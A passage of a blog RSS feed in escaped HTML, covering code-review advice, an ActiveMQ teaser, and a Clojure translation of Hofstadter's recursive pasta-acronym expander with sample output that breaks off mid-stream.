&lt;h2&gt;Look out the output not approach&lt;/h2&gt;
&lt;p&gt;A key part of code review is analysing the output, not the approach they have taken. There are many different ways of solving a problem, and it’s important to avoid enforcing one solution over another.&lt;/p&gt;
&lt;p&gt;In some cases, a developer might not be aware of another approach. For example, let’s say they have written a method that loops through an array to find a matching element in that array. They might not be aware that &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes"&gt;Array.includes&lt;/a&gt; (in Javascript) could solve their problem! In such cases, it’s best to go and talk to the developer in person. It might be the case they cannot use Array.includes. You are most likely tackling this code base as an outsider so it is best to assume that the author is the expert.&lt;/p&gt;
&lt;h2&gt;Be constructive&lt;/h2&gt;
&lt;p&gt;When you find an issue in a merge request, which comment do you think would be better?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No. Don’t do this.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;OR&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Can we change this to not include X as this may cause Z and perhaps do Y instead? What do you think?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the first approach, the comment is not constructive, not only does it not tell the author the reason for the issue, it also doesn’t suggest an alternative. On the other hand, the second approach suggested using Y instead of X because Z might happen. You might have more experience on a code base to know certain ins-and-outs that the author might not be aware of, your comment will mean the developer will benefit from your wisdom. Additionally, the second approach asked what the author thought. Rather than ruling with an iron fist, it opened up a discussion.&lt;/p&gt;
&lt;p&gt;Code review is a fantastic way for all developers of any experience to get their heads stuck into different parts of your companies code base. Furthermore, it’s a great way for developers to gain experience on new approaches to solving problems. If you don’t already, try and include code review into your process and involve the whole team.&lt;/p&gt;</description><author/><pubDate>Thu, 31 May 2018 01:12:03 GMT</pubDate><guid isPermaLink="true">/good-code-review/</guid></item><item><title>Guaranteed Topic Delivery using ActiveMQ Virtual Destinations</title><link>https://bhoey.com/blog/guaranteed-topic-delivery-using-apachemq-virtual-destinations/</link><description>&lt;p&gt;The original JMS spec first arrived in 2001 with JSR 914. At the time several enterprise messaging systems were already widely available however each had their own unique features and mechanisms which required software that wanted to talk on a given messaging bus to be tightly-coupled to the specific messaging system implementation in use.&lt;/p&gt;
&lt;p&gt;Given that "tightly-coupled" is something you want to avoid in your enterprise systems, there was a push to abstract away these implementation-specific system aspects from the messaging client code. To address this, the JMS was developed to define a standardized, consistent programming interface that would work across different JMS-provider implementations.&amp;#160;&lt;a href="https://bhoey.com/blog/guaranteed-topic-delivery-using-apachemq-virtual-destinations/"&gt;[Continue&amp;#160;reading...] &lt;span class="screen-reader-text"&gt;Guaranteed Topic Delivery using ActiveMQ Virtual Destinations&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The post &lt;a href="https://bhoey.com/blog/guaranteed-topic-delivery-using-apachemq-virtual-destinations/" rel="nofollow"&gt;Guaranteed Topic Delivery using ActiveMQ Virtual Destinations&lt;/a&gt; appeared first on &lt;a href="https://bhoey.com/blog" rel="nofollow"&gt;BHoey&lt;/a&gt;.&lt;/p&gt;</description><author>BHoey</author><pubDate>Wed, 30 May 2018 05:46:19 GMT</pubDate><guid isPermaLink="true">https://bhoey.com/blog/guaranteed-topic-delivery-using-apachemq-virtual-destinations/</guid></item><item><title>(oodles of delicious atoms)</title><link>https://johnj.com/posts/oodles/</link><description>&lt;div class="outline-2" id="outline-container-headline-1"&gt;
&lt;h2 id="headline-1"&gt;
A Recursive Feast
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-1"&gt;
&lt;p&gt;
In 1983, Douglas R. Hofstadter, author of "Gödel, Escher, Bach: An
Eternal Golden Braid" wrote a series of articles on Lisp in Scientific
American (later republished in the book &lt;a href="https://en.wikipedia.org/wiki/Metamagical_Themas"&gt;Metamagical Themas&lt;/a&gt;, which is
where I encountered them for the first time).  While much of the
writing focused on the nature of recursion in programming, the third
and last article in the series provided an entertaining example of
blurring the line between code and data, which is typical for Lisp
(though somewhat less common in Clojure, except for the occasional
macro).&lt;/p&gt;
&lt;p&gt;
In the example, a set of acronyms are presented; each acronym can be
"expanded" into a phrase which itself may contain other acronyms.
The program generates random expansions of these acronyms, "bottoming
out" (hitting the base case) at random, though with increasing
probability of termination for more deeply-nested expressions.&lt;/p&gt;
&lt;p&gt;
What follows is my translation of the Lisp code in his articles into
Clojure, with a few extra details and explanations.  A few interesting
edge cases have to be accounted for to accommodate the differences
between the languages.&lt;/p&gt;
&lt;p&gt;
If you're interested in running the code, it's &lt;a href="https://github.com/eigenhombre/oodles"&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-2" id="outline-container-headline-2"&gt;
&lt;h2 id="headline-2"&gt;
Cooking It Up
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-2"&gt;
&lt;p&gt;
First, a small macro helps us keep things tidy: &lt;code class="verbatim"&gt;defpasta&lt;/code&gt; makes a
function that simply returns the list supplied as its argument,
avoiding the need for the argument vector or the quote.  Note that
just one small macro provides enough "syntactic sugar" to make the
examples more readable.  We also attach metadata for convenience in
testing (see below).&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defmacro defpasta [name_ &amp;amp; expr]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  `(defn ~(with-meta name_ {:pasta true}) []
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;     '~@expr))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Next are the actual acronym definitions. These are the definitions
Hofstadter uses, with commas treated differently.  The commas are
important in his output, but commas are whitespace in Clojure… so
where the symbols are used with commas in compound statements, we
append &lt;code class="verbatim"&gt;_CO&lt;/code&gt; to tell the program to supply a comma in the output.
(Example: &lt;code class="verbatim"&gt;SAUCE,&lt;/code&gt; becomes &lt;code class="verbatim"&gt;SAUCE_CO&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;
We cannot, unfortunately, add commas after lists in this way, but
his example is inconsistent in this regard (three examples have
commas after lists, but the example expansion later in the article
does not).&lt;/p&gt;
&lt;p&gt;
Hostadter presents the acronyms in capital letters, though
Common Lisp atoms (analogous to Clojure symbols) are
case-insensitive; we follow that convention here and use it to
indicate terms which may be expanded… that is to say, the
&lt;code class="verbatim"&gt;COFFEE&lt;/code&gt; in the expansion of &lt;code class="verbatim"&gt;SAUCE&lt;/code&gt; can itself be expanded to a
phrase which includes &lt;code class="verbatim"&gt;ESPRESSO&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta TOMATOES (TOMATOES on MACARONI (and TOMATOES only)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                             exquisitely SPICED))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta MACARONI (MACARONI and CHEESE (a REPAST of Naples_CO Italy)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta REPAST (rather extraordinary PASTA and SAUCE_CO typical))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta CHEESE (cheddar_CO havarti_CO, emmentaler
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                (especially SHARP emmenthaler)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta SHARP (strong_CO hearty_CO and rather pungent))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta SPICED (sweetly pickled in CHEESE ENDIVE dressing))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta ENDIVE (egg NOODLES_CO dipped in vinegar eggnog))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta NOODLES (NOODLES (oodles of delicious LINGUINI) elegantly served))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta LINGUINI (LAMBCHOPS (including NOODLES)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                  gotten usually in Northern Italy))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta PASTA (PASTA and SAUCE (that's ALL!)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta ALL! (a lucious lunch))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta SAUCE (SHAD and unusual COFFEE (excellente!)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta SHAD (SPAGHETTI_CO heated al dente))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta SPAGHETTI (standard PASTA_CO always good_CO hot particularly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                              (twist_CO then ingest)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta COFFEE (choice of fine flavors, particularly ESPRESSO))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta ESPRESSO (excellent_CO strong_CO powerful_CO rich ESPRESSO_CO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                 suppressing sleep outrageously))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta BASTA! (belly all stuffed (tummy ache!)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta LAMBCHOPS (LASAGNE and meatballs_CO casually heaped onto PASTA SAUCE))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta LASAGNE (LINGUINI and SAUCE and GARLIC (NOODLES everywhere!)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta RHUBARB (RAVIOLI_CO heated under butter and RHUBARB (BASTA!)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta RAVIOLI (RIGATONI and vongole in oil_CO lavishly introduced))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta RIGATONI (rich Italian GNOCCHI and TOMATOES (or NOODLES instead)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta GNOCCHI (GARLIC NOODLES over crisp CHEESE_CO heated immediately))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defpasta GARLIC (green and red LASAGNE in CHEESE))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Hofstadter leaves the implementation of &lt;code class="verbatim"&gt;acronym?&lt;/code&gt; undefined,
since it is so implementation-specific.  In our case, something is
an acronym if it's a symbol and its name is equal to an
upper case version of itself.&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn acronym? [x]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (and (symbol? x)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;       (= (name x) (.toUpperCase (name x)))))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
We also want to be able to remove commas from a symbol and evaluate
the result as a function. This is also very implementation-specific;
in our case, it relies on Clojure's machinery for converting symbols
to strings and vice-versa, and on the subtle differences between
symbols, vars, and functions:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn strip-comma-and-eval [sym]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (let [base-symbol-name (-&amp;gt; sym
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                             name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                             (clojure.string/replace #"_CO$" "")
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                             symbol)]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    ((-&amp;gt; *ns*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;          ns-map
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;          (get (symbol base-symbol-name))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;          var-get))))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(strip-comma-and-eval 'RHUBARB)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;=&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(RAVIOLI_CO heated under butter and RHUBARB (BASTA!))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
&lt;code class="verbatim"&gt;lower&lt;/code&gt; reduces the probability by some amount to encourage our
recursion to bottom out (and thereby avoid stack overflows).
Hofstadter multiplies probabilities by 0.8, but I simply square the
probability so that higher probabilities decrease more slowly than
lower ones as the recursion progresses:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn lower [x] (* x x))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
A significant portion of Hofstadter's article relates to the
recursive &lt;code class="verbatim"&gt;expand&lt;/code&gt; function, so I won't go into details here.  This
version is similar to his; it adds a bottoming-out clause to
accommodate the base case of an empty phrase (since &lt;code class="verbatim"&gt;()&lt;/code&gt; and &lt;code class="verbatim"&gt;nil&lt;/code&gt;
are not the same in Clojure, as they are in Common Lisp).  Also we
use &lt;code class="verbatim"&gt;strip-comma-and-eval&lt;/code&gt; instead of plain &lt;code class="verbatim"&gt;eval&lt;/code&gt; to handle the
comma-ed symbols.&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn expand [phrase probability]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (cond
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (symbol? phrase) phrase
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (empty? phrase) phrase
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (acronym? (first phrase))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (if (&amp;lt; (rand) probability)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      (concat
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;       (expand (strip-comma-and-eval (first phrase)) (lower probability))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;       (expand (rest phrase) probability))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      (cons (first phrase) (expand (rest phrase) probability)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    :else (cons (expand (first phrase) (lower probability))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                (expand (rest phrase) (lower probability)))))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Ultimately we want to make the output similar to what Hofstadter shows in
the book.  The &lt;code class="verbatim"&gt;normalize&lt;/code&gt; function does this, relying on two helper
functions, whose names are self-explanatory:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn lower-case-symbol [x]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (if-not (symbol? x)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (-&amp;gt; x name .toLowerCase symbol)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn get-commas-back [x]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (if-not (symbol? x)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (-&amp;gt; x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        (clojure.string/replace #"_CO$" ",")
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        symbol)))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
When we're done expanding our lists of food (and our bellies), we
prepare our data for output to the user: turn &lt;code class="verbatim"&gt;_CO&lt;/code&gt; suffixes into
actual commas (using the fact that &lt;code class="verbatim"&gt;(symbol "x,")&lt;/code&gt; yields a valid
symbol, if one that would be hard to read back at the REPL); and,
lower-case all symbols to adhere to the style of the output shown in
&lt;em&gt;Metamagical Themas:&lt;/em&gt;&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn normalize [expr]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (-&amp;gt;&amp;gt; expr
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;       (clojure.walk/postwalk get-commas-back)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;       (clojure.walk/postwalk lower-case-symbol)))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-2" id="outline-container-headline-3"&gt;
&lt;h2 id="headline-3"&gt;
Dinner Is Served
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-3"&gt;
&lt;p&gt;
Now for the actual function we'll use to generate our expansions.
Setting a large probability will ensure longer examples:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn dinner [expr]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (normalize (expand expr 0.9999)))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
We should test our code to make sure it doesn't bomb out on any of our
acronyms.  Here we find all the acronyms based on the metadata added
by the &lt;code class="verbatim"&gt;defpasta&lt;/code&gt; macro, ensuring each runs to completion:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(let [nsm (ns-map *ns*)]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (doseq [[k v] nsm :when (:pasta (meta v))]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (dotimes [_ 10]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      (dinner (list k)))))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
If, like me, you use Emacs and CIDER and want long REPL examples,
you have to set `*print-length*` to something bigger than its
default:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(set! *print-length* 1000)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Now to run it!  Are you hungry yet?&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(dinner '(LINGUINI))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;=&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(lasagne and meatballs, casually heaped onto pasta sauce (including
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noodles) gotten usually in northern italy and standard pasta, always
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;good, hot particularly (twist, then ingest) heated al dente and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unusual coffee (excellente!) and green and red lasagne in cheese
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(noodles (oodles of delicious linguini) elegantly served (oodles of
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;delicious linguini) elegantly served everywhere!) and meatballs,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;casually heaped onto pasta shad and unusual coffee (excellente!)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(including noodles (oodles of delicious linguini) elegantly served
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oodles of delicious linguini) elegantly served (oodles of delicious
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;linguini) elegantly served (oodles of delicious linguini) elegantly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;served (oodles of delicious lasagne and meatballs, casually heaped
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;onto pasta sauce (including noodles) gotten usually in northern italy)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elegantly served) gotten usually in northern italy and standard pasta
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;and shad and unusual coffee (excellente!) (that's all!) and shad and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unusual coffee (excellente!) (that's all!) always good, hot
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;particularly (twist, then ingest) heated al dente and unusual choice
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;of fine flavors particularly espresso (excellente!) and green and red
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lasagne in cheese (noodles (oodles of delicious linguini) elegantly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;served (oodles of delicious linguini) elegantly served (oodles of
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;delicious linguini) elegantly served (oodles of delicious linguini)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elegantly served everywhere!) and meatballs, casually heaped onto
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pasta and sauce (that's all!) and sauce (that's all!) and shad and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unusual coffee (excellente!) (that's all!) sauce (including noodles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oodles of delicious linguini) elegantly served (oodles of delicious
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lambchops (including noodles) gotten usually in northern italy)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elegantly served (oodles of delicious lambchops (including noodles)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gotten usually in northern italy) elegantly served) gotten usually in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;northern italy and standard pasta and shad and unusual coffee
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(excellente!) (that's all!) and standard pasta, always good, hot
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;particularly (twist, then ingest) heated al dente and unusual coffee
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(excellente!) (that's all!) and spaghetti, heated al dente and unusual
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;coffee (excellente!) (that's a lucious lunch) and standard pasta,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;always good, hot particularly (twist, then ingest) heated al dente and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unusual coffee (excellente!) (that's a lucious lunch) always good, hot
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;particularly (twist, then ingest) heated al dente and unusual choice
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;of fine flavors particularly espresso (excellente!) and green and red
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;linguini and sauce and garlic (noodles everywhere!) and meatballs,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;casually heaped onto pasta sauce (including noodles) gotten usually in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;northern italy and spaghetti, heated al dente and unusual coffee
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(excellente!) and green and red lasagne in cheese (noodles (oodles of
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;delicious linguini) elegantly served everywhere!) in cheese (noodles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oodles of delicious linguini) elegantly served (oodles of delicious
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;linguini) elegantly served (oodles of delicious linguini) elegantly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;served (oodles of delicious linguini) elegantly served (oodles of
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;delicious linguini) elegantly served (oodles of delicious lambchops
